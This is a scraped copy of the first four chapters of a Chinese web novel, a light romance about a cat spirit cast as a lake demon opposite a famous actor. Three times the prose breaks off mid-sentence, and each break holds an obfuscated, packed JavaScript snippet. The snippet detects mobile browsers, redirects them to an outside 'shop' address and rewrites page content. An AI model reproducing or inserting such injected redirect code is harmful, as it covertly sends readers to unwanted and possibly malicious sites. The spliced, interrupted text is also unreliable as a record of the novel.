《和影帝共感后,咪掉马了》 1. 第1章 晋江文学城独家发表 作者:金粉溪 清晨,阳光穿透薄雾,野蔷薇的枝叶在光晕里舒展。一辆车行驶在山路上,车轮碾过柏油马路,气流掀起一地花瓣。 唐冰摇下车窗,风卷着花香涌进来,坐在后排的青年突然直起腰,望向窗外。 唐冰瞥了一眼后视镜:“我给你的资料都看完了吗?” 青年指着窗外:“我刚看到一只狐狸。” 唐冰继续道:“之前你姐在采访中说你是影帝江泠的粉丝,待会儿见到江泠,你可千万不要露馅儿。” 青年继续望着窗外:“这里的风景不错。” 就在这已读乱回的和谐氛围中,他们到达了电影《绿荫》的拍摄片场。唐冰提前打过招呼,工作人员带着他们直接进入内场。 导演站起身,笑着招呼道:“怎么来得这么早?” 青年微微躬身道:“李导您好,特别感谢您信任我,让我来出演落亭这个角色。” 李导连忙摆手:“快别这么说,该我谢你才是。原定演员出了状况,一时找不到合适的人选,幸亏你姐姐向我推荐了你,解了我的燃眉之急。” 编剧激动地走过来:“你绝对想象不到,看到你的试镜视频时我有多震撼!银发银瞳,简直就是从剧本里走出来的落亭!” 见薄砚有些尴尬,李导指着不远处一顶崭新的大帐篷道:“那边是新搭的休息室,附近有家旅馆,我让人预留了两间房,晚上就可以过去。” 唐冰跟着工作人员去休息室放行李,编剧有事先离开了,薄砚不说话,气氛就这么冷了下来。正好旁边休息室走出一个人,李导连忙对着那人招手:“江泠,过来。” 江泠懒洋洋地应了一声:“怎么了?” 李导催他:“快过来,给你介绍一个人。” 站在李导对面的青年穿着一件白色衬衫,阳光从侧面照过来,隐约能看见纤薄的肩背轮廓。 青年长着一双很漂亮的眼睛,瞳仁是浅浅的墨色,像是盛着未散的雾,明明没什么情绪,却仿佛藏着千言万语。 “落亭的饰演者,对吧?”江泠开口道。 李导惊奇地看着他:“你怎么知道是落亭?万一是某个还未进组的其他角色呢?” 江泠笑了一下:“猜的。” 薄砚自我介绍了一遍,说自己是江泠的粉丝。 李导开玩笑道:“你也是他的粉丝?你喜欢他什么?” 薄砚:“长得帅,演技好。” 江泠听腻了有关外貌和演技的夸奖,他莫名想从眼前人的嘴里听到些不一样的,便问道:“还有呢?” 薄砚看了他一眼,随口编道:“头发长。” 李导沉默了。 江泠也沉默了。 - 唐冰刚把行李放好,就见薄砚面无表情地走进休息室。 唐冰问他:“怎么了?” 薄砚将刚才发生的事情说了一遍。 唐冰搜出新闻图给他看:“江影帝平时都是短发造型,这次的长发应该是为了贴合角色需要接的。” 薄砚歪了歪头:“所以呢?” 唐冰解释道:“你说喜欢他的理由是头发长,这一看就是现编的嘛,估计在他心里,你就是一个故意套近乎的假粉。” 江泠刚把水杯递给助理,就看到小假粉从休息室里钻出来。他走过去拦住小假粉:“真是我粉丝?” 薄砚点头:“刚粉上。” 江泠:“真的吗?我不信。” 薄砚:“不信就不信呗。” 小假粉神色坦然,丝毫不心虚,江泠忍不住逗他:“那你粉上我的理由是什么?” 薄砚瞥他一眼:“话少。” 江泠:…… 助理抱着水杯站在一旁,憋笑憋得浑身颤抖。 薄砚提着小板凳,找了一片树荫窝着,看片场的工作人员忙来忙去。 一旁几个跟组的小演员也在偷偷观察他。 “哪来的天仙,是新进组的演员吗?” “应该是,就是不知道要演哪个角色。” “湖妖吧,那谁不是塌了吗?所以李导才急着换演员。” “我想和他打个招呼,你们说他会理我吗?”一个圆脸小演员站起来,朝着薄砚的方向走了两步,薄砚突然扭头盯住她。 小演员哭丧着脸退回去:“我不行了。” 周围人给她打气:“你可以的。” “不行不行。”小演员嘤嘤道,“我怕他嫌我丑。” 薄砚收回视线,一个抱着鲨鱼玩具的小男孩跑到他面前:“哥哥,你能和我一起玩游戏吗?” 薄砚看着可爱的人类幼崽,点点头。 “实在不好意思,打扰你了。”小男孩的父亲匆匆跟过来,捏了捏自家儿子的小脸蛋,轻声哄道,“爸爸陪宝宝玩游戏,好不好呀?” 小男孩摇头:“不好,我要和美丽的哥哥一起玩。” 他的父亲吃醋道:“爸爸不美吗?” 小男孩沉默地盯着他。 “是我自取其辱了。”小男孩的父亲尴尬一笑,“小小年纪的,就学会看脸了。” 薄砚安慰道:“你也挺美的。” 小男孩的父亲喜上心头:“哪里美?” 薄砚扫过他略显贫瘠的头顶,和略显富态的肚皮,沉默了一下开口道:“心灵美。” …… 再次受到侮辱的男人捂着心口:“行行行,你们好看的人一起玩,我们丑人在旁边围观,行了吧?” 旁边一群人继续怂恿那个圆脸小演员:“你看你,误会人家了吧?其实人家挺好相处的,还陪儿童演员一起玩呢。” 圆脸小演员觉得自己又行了,磨磨蹭蹭走到离薄砚三米远的地方围观。 薄砚问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023648|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小男孩:“玩什么?” 场务搬来一张矮桌,小男孩摆好鲨鱼玩具道:“我们轮流按小鲨鱼的牙齿,小鲨鱼咬谁的手指,谁就要受到惩罚。” 薄砚问道:“什么惩罚?” 小男孩做鬼脸吓唬他:“超级可怕的惩罚哦。” 薄砚点头:“行,那我们石头剪刀布,输的人按一颗牙齿。” 小男孩拽着他的衣摆撒娇:“哥哥,我比你小,你能不能让我一局呀?” 他的父亲在一旁拆台:“这孩子鬼精鬼精的,别理他。” 小男孩眼巴巴地望着薄砚。 薄砚答应道:“行,第一局我出剪刀,你出石头。” 六秒钟后,小男孩攥着拳头,沉默地看着薄砚摊开的手掌。 薄砚摸他的头:“兵不厌诈。” 第二局,小男孩出剪刀,薄砚出石头,小男孩败; 第三局,小男孩出布,薄砚出剪刀,小男孩败。 第四局,…… 第十三局,小男孩出石头,薄砚出布,小男孩…… 小男孩望着仅剩的一颗鲨鱼牙齿,无语凝噎。 薄砚安慰他:“换个角度想想,其实你运气挺好的。” 他的父亲站在一旁,听到这句话没忍住笑出声,小男孩的眼眶立马红了。 薄砚:“现在我要宣布惩罚是什么了。” 小男孩吸了吸鼻子:“嗯。” 薄砚朝身上摸了一把,突然想起今天穿的是一件没有口袋的衬衫,他改口道:“明天我送你一个礼物,那个礼物就是惩罚。” 小男孩摇头,表示自己不信。 薄砚:“不骗你。” 小男孩盯着他:“兵不厌诈。” 薄砚:…… 背后突然传来一声轻笑,一个人从树荫里走出来。 是江泠。 薄砚盯着江泠。这人一直站在背后看热闹,现在还幸灾乐祸地嘲笑自己。 “别生气,我替你送礼物。” 江泠往小男孩的手心里放了一颗石头,圆滚滚的小石头上,有两圈自然形成的螺旋纹路,看起来像一只可爱的猫头鹰。 “谢谢漂亮哥哥二号送我礼物,我很喜欢!”小男孩郑重地把猫头鹰石头装进口袋里,又将小鲨鱼玩具摆好,“谢谢漂亮哥哥一号陪我玩,这只小鲨鱼送给你们。” 他那头发不多心眼不少的坏爸又开始坑娃:“可是小鲨鱼玩具只有一个,哥哥却有两个,宝宝要怎么分呢?” 小男孩皱眉思考了一会儿,突然拍手道:“两个哥哥一起玩就好了呀!哥哥二号,你一定要赢了哥哥一号替我报仇!” “宝宝真聪明。”小男孩的父亲抱起他,“走喽!拍完今天的戏份,宝宝就能杀青了,李导给你准备了一个大蛋糕。” 薄砚站起身也要走,却被江泠攥住手腕。 “别走啊,玩一局。” 2. 第2章 青年的手腕很细,江泠下意识收拢手指,指腹下的皮肤微微发烫。 “发烧了?” 他伸手探到薄砚额前,又收回去:“你摸摸自己的额头,是不是发烧了?” 薄砚退开一步:“没有,是你的手太凉了。” 见他似乎不太相信,薄砚伸出手贴了贴他的手背,强调道:“是你的手太凉了。” 温热一触即分,江泠蜷了下手指:“玩一局吗?” 薄砚:“不玩。” “玩一局呗。”江泠笑着看他,“我答应了人家孩子,要赢了你替他报仇的。” 薄砚有些无语:“明知道你要赢我,我还跟你玩,我傻吗?” 江泠勾了勾唇:“玩了才知道谁赢谁输啊。” “不玩。”薄砚摇头道,“方才那个人类幼崽的心思都写在脸上,很好猜,再加上我运气好,所以我一定会赢。但你不同,你是影帝,你的心思我猜不到。” 江泠挑眉:“谢谢夸奖。” “泠哥!泠哥!”助理突然跑过来,“李导叫你呢!” 江泠点点头,往前走了几步,又返回去将小鲨鱼玩具塞进薄砚怀里:“保护好我们的共同财产,不要让它受到伤害哦。” 薄砚:…… 虽说鲨鱼也是鱼吧,但他还能一口吞了这只塑料鲨鱼不成? 圆脸小演员一直站在旁边,木愣愣地看着他们。薄砚问道:“你有什么事吗?” 小演员呆呆摇头,仿若灵魂出窍。 薄砚晃了晃怀里的鲨鱼玩具:“要和我一起玩吗?” 小演员倏地脸红了,扭头就跑。 薄砚失望地叹了口气。 小演员一路冒烟地跑回去,一群人问她:“不是说打招呼吗?你怎么又回来了?” 小演员激动道:“他真的,特别好看,不像凡人的那种好看,而且他性格好好,还邀请我一起玩游戏,嘤。” “那你怎么回来了,”周围人恨铁不成钢地看着她,“你就大大方方一起玩啊,说不定还能加个微信什么的。” 小演员捂住脸:“不行不行,我怕他嫌我蠢。” 周围人道:“也不一定啊,说不定人家就喜欢蠢,哦不,单纯的。” 被他们一言一语地说着,小演员也后悔了:“还不如一起玩呢,那种鲨鱼玩具很好玩的……” 薄砚将很好玩的小鲨鱼带回休息室,摆在桌子上。 唐冰看一眼就笑了:“怎么还带只鲨鱼回来,心比天高啊小猫咪。” 薄砚懒得理他。 唐冰:“说正事,我刚跟他们敲定了,落亭的妆造由咱们自家团队来设计,免得露馅。还有你的名字也尽量保密吧,片场里喊角色名就好,省得别人拿你的身份做文章。” 薄砚找了张躺椅窝着:“现在都九点二十了,怎么还不开拍?” 唐冰拿起手机:“等一下,我问问。” 薄砚:“你怎么这么快就和那群人类混熟了?” “我本来就是人类,好吧?消息回过来了,他说剧组今天要拍雨戏,只是天气预报的时间不太准,大家都在等下雨呢。” 唐冰看着薄砚:“你快感知一下,什么时候下雨。” 薄砚哼哼道:“感知不了,我现在是人。” “这有什么难的,听你那怨念的语气。”唐冰看着他,“想变猫就变猫啊,你假装成我养的猫不就完事儿了。” 薄砚噌地一下坐起来:“我才不给你当宠物呢。” “我说的是假装,假装你懂吗?”唐冰恨不得踹他一脚,“你个杠精。” “我是猫精。”薄砚纠正他。 唐冰简直要气晕了:“滚!” - 半个小时后,大雨落下,《绿荫》剧组终于开拍。 薄砚撑着伞站在镜头外,观摩江泠和送自己鲨鱼玩具的小男孩演戏。 狂风呼啸,乌云沉甸甸地坠在半空,一个孩子在森林里迷了路。四周全是参天大树,孩子恐惧的哭泣声淹没在狂风暴雨里。 一棵大树的躯干忽然泛起幽幽绿光,巨大的根系破土而出。 孩子目瞪口呆地看着眼前的大树突然变成人,连哭都忘了。 树妖走到他身边,撑开一把伞道:“我忘了这把伞是从哪里来的,只知道它是人类制作的东西,人类制作的东西给人类用,我们树妖可用不着。” 孩子边抹眼泪边打嗝:“树,树妖……妖怪!” 树妖俯身抱起他:“知道我是妖怪,你还不跑,不怕我吃了你?” 孩子吸了吸鼻子:“我可不是普通的孩子。” 树妖学舌道:“我也不是普通的树妖。” 孩子认真地看着他:“我没和你开玩笑,我长大以后要做大英雄,要保护爸爸妈妈、爷爷奶奶、外公外婆……” 他数了一大堆人名,又说道:“我也会保护你的,树妖哥哥,因为你救了我。” 树妖笑了:“那你什么时候长大?” 孩子掰着手指,认真计算自己的年龄。树妖突然听到了什么,对他说道:“你父母来找你了,他们很担心你。” “爸爸妈妈很爱我的,我是他们的宝贝。”孩子骄傲地挺起胸膛,“对了树妖哥哥,你也有爸爸妈妈吗?大树的爸爸妈妈也是大树吗?” “我没有爸爸妈妈。”树妖对孩子说道,“我送你出去,今天发生的事,你不要告诉别人,可以吗?” 孩子郑重点头,伸出小拇指:“拉勾。” 树妖也伸出小拇指:“拉勾。” 雨停了,雨中的戏份也拍完了。江泠披上毯子,走到薄砚身边。 助理追过来:“泠哥,毛巾,你快擦擦头发!” 薄砚下意识去看江泠的头发。树妖妆造很特别,长发松松挽成髻,仅用一支簪子固定,簪尾垂落着树叶形状的流苏,在风里轻轻摇晃。 他抬起手,迅速拍了一下流苏。 江泠一顿:“喜欢这支簪子?” 薄砚不知道该说什么,只好点点头。 江泠抽出簪子,湿透的长发瞬间披散下来,他的皮肤很白,是那种浸在雨水里泡透了的玉色,被湿漉漉的黑发一衬,透出几分剔透的莹光。 薄砚突然发现眼前这个人类很好看,比唐冰唐凝那两个货还要好看。 江泠接过助理手中的毛巾,将簪子上的水珠擦干净,又把头发重新盘起来,簪尾的流苏随着他的动作不停晃动。 助理在一旁干着急:“哥你倒是擦擦头发啊,你擦簪子干什么!” 薄砚一直盯着流苏,等到江泠盘好头发,才意犹未尽地收回视线,却正好对上那人看过来的眼神。 “你演得很好。”薄砚有些尴尬地夸奖道。 “还行吧。”江泠道,“我听李导说,你是第一次演戏?他说你在演戏方面很有天赋。” 薄砚点头:“当然了,没天赋的话,落亭这个角色就不会轮到我了。” 江泠轻轻笑了一下。 薄砚:“笑什么?” “没什么。”江泠道,“明天要拍落亭湖的戏份,咱俩找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023649|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个地方对对戏吧。” 薄砚点头。他们找了一个宽敞的遮阳棚坐下,准备对戏。 “台词我都背下来了。”薄砚盯着对面的人,“你的台词我也背下来了。” “哇!好厉害!”江泠捂住嘴。 薄砚微微翘起唇角:“嗯。” 江泠看着他,眼中浮起一抹笑意。 对戏对到一半,工作人员来发盒饭。江泠取了两份盒饭摆在桌子上:“这两天食堂的大厨请假了,临时找了个师傅来顶班,手艺一般,也不知道你吃不吃得惯。” 薄砚本想和唐冰一起吃,但是饭已经摆好了,他只好给唐冰发了一条消息,让他自己吃午饭。 唐冰回复:【OK】 盒饭的“色”看起来还可以,不知道“味”如何,薄砚试着夹了一片很小的牛肉,放进嘴里。 江泠饶有兴致地看着他。 十五秒后,薄砚缓缓闭上眼睛,神态安详。 江泠忍笑:“怎么了?” 薄砚:“死了。” 江泠蹭他的手指:“还魂。” 薄砚睁开眼睛,又夹了一块很小的鸡蛋塞进嘴里。 江泠哭笑不得地看着他:“不想吃就别吃了,干嘛这么折磨自己。” “我就是想看看,世界上还有比这道小炒牛肉更难吃的菜吗?”薄砚心如死灰道,“没想到还真有。” 江泠忍不住笑出声。 薄砚不爽地盯着他,江泠连忙哄道:“我休息室里有牛肉干,你吃吗?” 薄砚摇头:“不,我就吃这个。” 江泠看着跟盒饭较劲的人,无奈地勾了勾唇。 薄砚吃了几口,突然端着盒饭站起身道:“你慢慢吃,我先回休息室了。” 江泠拉住他:“戏还没对完呢。” 薄砚想了想说道:“晚上回旅馆再对吧。” “行。” 薄砚回到休息室,唐冰正在玩手机,还没开始吃午饭。薄砚在他对面坐下:“我们比一比,看谁先吃完这份盒饭。” 唐冰斜他一眼:“又憋着什么坏呢?” 薄砚摇头:“没有。” 唐冰答应道:“行吧,反正你天天都要比。” 半个小时后,唐冰目光呆滞地瘫在椅子上。薄砚也不舒服,但看到唐冰难受的模样,他就很开心。 唐冰追悔莫及道:“我就不该相信你这种人嘴里说出来的鬼话。” 薄砚变成原形,表示自己是猫不是人。 唐冰气笑了。 薄砚轻巧地蹿到帐篷后边,顺着帆布与支撑杆衔接的缝隙钻了出去。 午饭过后的片场就是一片瓜田,里面住着一窝又一窝吃瓜的猹。 猹一翻着手机:“今天没什么新瓜啊,最近都没什么大瓜。” 猹二无聊道:“就连江影帝都被李导封印了。” 猹三突然大叫:“我靠!猫!” “猫有什么好奇怪的,附近山民……我去,好漂亮的猫!” 帐篷区后方钻出一只小猫,小猫一身长毛,仿佛一团揉碎的银箔。他踮着脚尖,慢悠悠地踱着步,像个巡视疆土的皇帝。 小猫巡视到猹一身边的时候,猹一恭敬地行了个礼:“吾皇万岁万岁万万岁。” 小猫抖了抖尾巴尖,满意地去下一个领地巡视,一路收获了无数“好好看”“好高贵”“好优雅”“好想摸”的夸奖。 江泠独自坐在遮阳棚下,看经纪人发给他的剧本。小猫悄悄走到他身边,仰头冲着他“喵”了一声。 3. 第3章 江泠瞥了小猫一眼,继续看剧本。 小猫歪头盯着他,毛茸茸的腿往前一迈:“喵。” 江泠叹了口气,开始回复经纪人发过来的消息。 这个人,不理猫! 小猫生气地瞪了他一眼,转身就走。 猹一望眼欲穿地盯着遮阳棚:“大王呢?我家大王哪儿去了?” 猹二道:“看这样子像是附近山民养的猫,不知道是什么品种,这么好看。” 猹三点开相册:“之前我去荡云山旅游,山上也有很多工作人员和游客喂养的猫,每一只都超级可爱,我拍了很多照片。” 猹一眼巴巴地等了十分钟,他家大王终于巡视回来了。他举着买给女朋友的小毛球钥匙扣,虔诚地晃了晃:“陛下,请问我可以摸你一下吗?” 小猫没理他,也没理其他拿着各种东西逗猫的人类,转身钻进帐篷区的阴影里,没了踪迹。 - 下午的时候,剧组订的蛋糕到了。蛋糕做成绿色小恐龙的形状,上边写着“祝林展航小朋友杀青快乐”。 林展航就是送薄砚鲨鱼玩具的那个小男孩,所以薄砚也参加了他的杀青宴。只不过剧组条件有限,大家只能聚在一起吃吃蛋糕、喝喝饮料。 江泠走到薄砚身边,开口道:“蛋糕的味道还不错。” 薄砚不想理他,淡淡地点了点头。 小男孩走过来,薄砚掏出一条手链递给他:“送你的,杀青礼物。” 小男孩接过手链,举着它在阳光下晃了晃,手链表面晕开一层淡淡的虹彩,橘粉与暖金交织着,仿若傍晚的霞光。 他的父亲连忙拒绝道:“不行不行,这太贵重了,我们不能收。” 小男孩不懂,但很听话地把手链还给薄砚:“哥哥,我不能收。” 薄砚解释道:“这条手链和小鲨鱼玩具是我和小朋友互相交换的礼物,谈不上什么价值的。” 小男孩的父亲仍是拒绝。 薄砚还想说些什么,江泠拉住他,对小男孩的父亲说道:“麻烦您稍等我们一下。” 薄砚跟着他走到一边:“有话快说。” 江泠叹气道:“好羡慕林展航小朋友,为什么我没有一个会送礼物的漂亮哥哥。” 薄砚:“哼。” “不过漂亮哥哥送的礼物有点太贵了,收的人心里可能会有负担。”江泠注视着他,“你觉得呢?” 薄砚想了想,从口袋里掏出一颗银质小星星,问道:“那我送这个可以吗?” “当然可以。”江泠笑着点头,“小朋友一定会喜欢这个礼物的。” 果然如他所料,这次的礼物成功送出去了,小男孩开心地收下星星,拉着二人一起拍照。 他的父亲举起手机道:“你们摆一个好看的姿势。” 小男孩左手拉着江泠,右手拉着薄砚:“爸爸,趁现在风大,你快从后边拍一下我们的背影,要拍出一种流浪的感觉哦!” 他的父亲绕到后边,拍了几张照片,笑呵呵道:“拍好了。” 小男孩跑到父亲身旁看照片,江泠对着薄砚道:“咱俩也拍一张。” 小男孩的父亲连忙道:“我帮你们拍吧。” 江泠拿出手机,打开相机功能递给他:“麻烦您了。” 小男孩的父亲举着手机道:“你们靠近点,摆个好看的姿势。普通姿势也行,反正你俩长得好看。” 薄砚看着靠过来的江泠,突然开口道:“你比我高。” 江泠:“你多高?” 薄砚:“180.1。” 江泠:“180正好。” 薄砚强调道:“是180.1……你干什么?” “帮你整理一下头发。”江泠笑着攥住他的手腕,“别动。” 冰凉的手指擦过额头,撩起细微痒意,薄砚忍不住偏了偏头。 “好了。”江泠看向小男孩的父亲,“拍吧。” “已经拍好了,你们看看满不满意,不满意的话我重新拍。” 二人接过手机,一起看拍好的照片。 照片是抓拍的,江泠侧着身子帮身边的人整理头发,半边肩膀上落着细碎的阳光。薄砚垂着眼睛,睫毛在脸颊上投下一片浅浅的阴影。 小男孩的父亲期待地看着他们。 江泠夸奖道:“拍得很好,谢谢。” 薄砚也点点头。 小男孩的父亲笑着道:“那我们就先回去了,宝宝,和哥哥们说再见。” 小男孩依依不舍地向他们道别,又去跟剧组的其他工作人员道别。 江泠:“加个微信,我把照片传给你。” 薄砚:“我没微信,你加唐冰的吧。” “唐冰?” “嗯,他的微信号是boyangun。” 薄砚念的是英文字母,江泠边打字边笑:“你被骂了。” 薄砚翘起唇角:“无所谓,不过是某些人的无能狂怒罢了。” 江泠看他一眼,问道:“这是你朋友吗?还是同事?我备注一下。” 薄砚:“他微信名就叫唐冰,用不着备注。” 江泠点点头。 薄砚突然想起什么,开口问道:“你觉得唐冰的头像怎么样?” 江泠:“挺可爱的小黑猫。” 薄砚又问:“你想摸摸他吗?” 江泠点头:“想。” “我还有事先回去了,你慢慢吃蛋糕吧。”薄砚甩下一句话,转身就走。 唐冰见他绷着脸走进休息室,问道:“又怎么了?谁又惹你了?” 薄砚闷闷不乐道:“有人不喜欢我的猫形。” 唐冰安慰他:“这很正常啊,不是每个人都喜欢猫的。这个世界上的任何东西,有人喜欢,就有人不喜欢,因为每个人的性格、经历、想法都不同。” 薄砚:“可是他觉得隔壁那颗煤球可爱,还想摸他。” 唐冰无奈道:“人家的大名叫戚夏,不叫煤球好吗?” 薄砚沉默。 唐冰只好哄道:“我们大家都很喜欢你,你是月轮山第一万人迷,行了吧?” 薄砚:“月轮山都是妖。” 唐冰:“那你是月轮山第一万妖迷,行了吧?” 薄砚摇头:“不行,我不能输给那颗煤球。” 唐冰:…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023650|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就知道。这两只猫从小比到大,任何事情都要分个输赢,偏偏对面还住着只爱拱火的孔雀,每次都把小打小闹搅和成满山瞩目的“巅峰对决”。 不过也确实挺有意思的。 晚上的时候,薄砚和唐冰来到小旅馆,剧组预留的房间在三楼,虽然面积不大,但设施齐全,包含了一间卧室、一个简易厨房和独立的卫生间。 “挺干净的,还有阳台。”唐冰推开阳台门,新鲜的风涌进来。 薄砚伸出手:“石头剪刀布,赢的人先选房间。” “这里的房间布局都一样,有什么选择的必要吗?”话虽如此说,唐冰还是伸出手,配合他玩了一局石头剪刀布。 “你输了,我先选房间。”薄砚推开门,正好看见江泠和他的助理转过楼梯,助理也看到他了,兴奋地向他挥手。 “晚上好。”薄砚打招呼道。 江泠勾了勾唇:“晚上好。” 他的话音刚落,房间里又走出来一个人,江泠顿住脚步。 唐冰自我介绍道:“江影帝您好,我是唐冰,咱们之前加过微信。” 江泠握了握他的手:“你好。” 薄砚见他们介绍完了,便对唐冰道:“我选这间。” 唐冰点点头:“OK,那你住308,我住307,就这么决定了,别过几天又找我换。” 薄砚哼了一声:“你也别找我换。” 江泠看了眼聊天的两个人,转身走进隔壁房间。助理把包放在桌子上,说道:“砚哥真的好好看啊,那个唐冰也好看,比某些偶像剧的男主好看多了……” 助理碎碎念了半天,突然发现江泠兴致淡淡的,便问道:“泠哥,你不开心啊?” “没。”江泠笑了一下。 助理放下心来,拿起手机上网冲浪,没一会儿就皱起眉头:“怎么又上热搜了。” 江泠问道:“什么?” “这热搜真是让人无语到家了,就凭两张所谓业内人士的聊天记录截图,就造谣你谈恋爱,营销号还特意把你以前的采访视频翻出来断章取义!” 助理点开视频,播放给他听。 “来自‘江泠无缝进组一千年’的提问:想问一下哥哥的择偶标准是什么?” “id不错,至于择偶标准嘛,我喜欢长得好看,性格有趣的。” 助理关掉视频,无奈道:“哥你可真行,别人都说自己喜欢善良孝顺有爱心的,就你来一句长得好看。” “这营销号也真够恶心的,暗戳戳地骂你肤浅呢。娱乐圈最不缺好看的人,这么多年也没见你谈过一个,怎么就肤浅了?” 江泠无所谓地勾了勾唇。 助理见他懒洋洋的,像个电力不足即将关机的小机器人,便道:“那我就先回去了,有事叫我啊哥。” “行。” 助理接了一杯热水放在桌子上,再回头,发现江泠已经关机了。 助理悄悄走到玄关,突然听到一阵敲门声,他打开门:“砚哥?你怎么来了?” 薄砚:“我来找江泠对戏。” “泠哥好像睡着了,要不——”助理话还没说完,就见江泠一键开机了。 4. 第4章 薄砚走进房间,江泠搬了一张椅子给他坐。 助理原本还想说些什么,可一种本能的直觉告诉他,此地不宜久留,于是他悄无声息地溜走了。 薄砚翻开剧本道:“我来找你对戏。” 江泠点点头:“好。” 明天的对手戏不算多,没一会儿就对完了。薄砚边记笔记边道:“谢谢你给我传授经验。” 江泠逗他:“授人以业者,谓之师,叫声老师来听听?” 薄砚从善如流地叫了声“江老师”。 江泠眯起眼睛,轻轻笑了一下。 薄砚突然想起什么,抬头道:“偶像,可以给我签个名吗?” 江泠无奈:“你还真是人设不倒。” 薄砚把笔递给他,江泠在剧本上签下自己的名字。他的签名很好看,有种“江风送泠音,一笔映长波”的壮阔。 “礼尚往来,你也给我签个名吧。”江泠翻开剧本递给他,“签在这里。” 薄砚点点头,在上面画了一个猫猫形状的小砚台:“这就是我的签名。” 江泠:“很可爱,我能拍照发微博吗?” 薄砚:“随便你。” 江泠拿出手机拍照,薄砚突然问他:“你觉得是我画的猫猫砚台好看,还是唐冰的头像好看?” 江泠见他很在意小黑猫,便问道:“那只小黑猫是你养的吗?” “什么?”薄砚拿出手机,装作回复消息的样子,悄悄打开录音功能。 江泠重复了一遍问题。 薄砚翘起唇角:“是。我们家煤球虽然蠢,但他很乖,很听话,我让他往东他就不敢往西,我让他坐下他绝不敢站起来。” 江泠挑眉:“真霸道。” “既然戏已经对完了,那我就先回去了。”薄砚说着站起身,手刚碰到剧本,却发现它被人按住了。他抬起头,盯着对面的人。 “晚安。”江泠看着薄砚,直到对方也回了句“晚安”,他才缓缓松开按着剧本的手,勾起唇角道:“明天见。” 薄砚:…… - 唐冰正准备睡觉,门外突然传来两声极其敷衍的敲门声。薄砚走进来,把手机递给他:“快帮我注册一个微信,我要把这段录音发给煤球。” 唐冰点开录音,听完后嘴角一抽。 薄砚催他:“你快点。” 唐冰帮他注册好微信,摆摆手道,“弄好了,赶紧滚。” 薄砚拿着手机捣鼓了一会儿,问道:“怎么添加微信好友?” 唐冰:…… 他任劳任怨地教猫祖宗熟悉微信的各项功能,猫祖宗表示要给他涨工资,唐冰无语道:“我需要你那点儿工资?” 薄砚问他:“那你需要什么?” 唐冰:“精神损失费。” 吵了几句后,唐冰推了一张名片给他:“你加一下影帝的微信,以后你们发照片就不用经过我了。” “嗯。” 薄砚回到自己的房间,躺在床上把录音发给煤球,煤球回了他六个点。 之后他又给江泠发送了好友申请,那边几乎是秒通过。 【江泠:砚砚?】 【薄砚:?】 【薄砚:我叫薄砚,不叫砚砚。】 【江泠:看来是本人。】 【薄砚:你有病?】 【江泠:好可爱.jpg】 【“江泠”撤回了一条消息】 【薄砚:原来发出去的消息还能撤回,唐冰没教我。】 【江泠:我教你。】 【江泠:不早了,快睡吧。】 【薄砚:嗯。】 【江泠:晚安,明天见。】 【薄砚:嗯。】 - 次日一大早,江泠来到片场做妆造。他闭着眼靠在椅子上,一头长发披散在身后,化妆师将带着晨露的新鲜花叶点缀在他发间。 助理把早饭放在桌子上,拿起手机疯狂拍照:“泠哥,今天这个造型也太好看了吧,像个精灵!我得多拍几张,留着以后营业用。” 化妆师和江泠合作过很多次,开玩笑道:“是很好看,江影帝不愧是圈内男星第一绝色。” 江泠瞥了他一眼:“你真没见识。” 化妆师:…… 以往他这么说,江泠都是一副“本来的事”的态度,今天这是怎么了? 化妆师百思不得其解,这时门外突然传来一道声音:“请问我可以进来吗?” “请进。”化妆师说着,回头看了一眼。 门外走进一个穿着白色戏服的人,他留着及腰的银色长发,周身仿佛笼罩着一层月光,每走一步,便漾起一片清辉。 化妆师整个人都懵了。 薄砚走到他面前道:“您好,我是湖妖落亭的饰演者,李导让您帮我涂一下口红。” 离得近了,化妆师才发现他的瞳孔也是银色的,很浅的那种银色,没有金属的冷硬,反倒像一汪融化的星河。 化妆师看呆了,薄砚又重复了一遍,他才回过神:“涂涂涂!马上涂!” 江泠的目光始终落在薄砚身上,看化妆师捏着口红,一点一点将那抹红色染上他的唇。大约是有些痒,他的睫毛轻轻颤了一下。 江泠忽然觉得喉咙发紧。 化妆师道:“因为要搭配这身造型,所以我就挑了一个比较浅的色号,你觉得怎么样?” 薄砚点点头,向他道谢。 化妆师猛男娇羞:“没,没事儿。那个,我能问一句吗,你这个造型是哪个团队做的?这也太自然了!” 薄砚:“是我的私人造型师做的。” 化妆师后怕地拍了拍胸口:“还好是私人造型师,吓死我了,差点以为我就要失业了,这年头各行各业都往死里卷啊!” “不会失业的。”薄砚安慰了化妆师一句,转头见江泠看着自己,便问道,“怎么了?” 江泠:“嗯?” 见他移开视线,薄砚又问道:“你是不是觉得这个口红色号与落亭的造型不适配?” 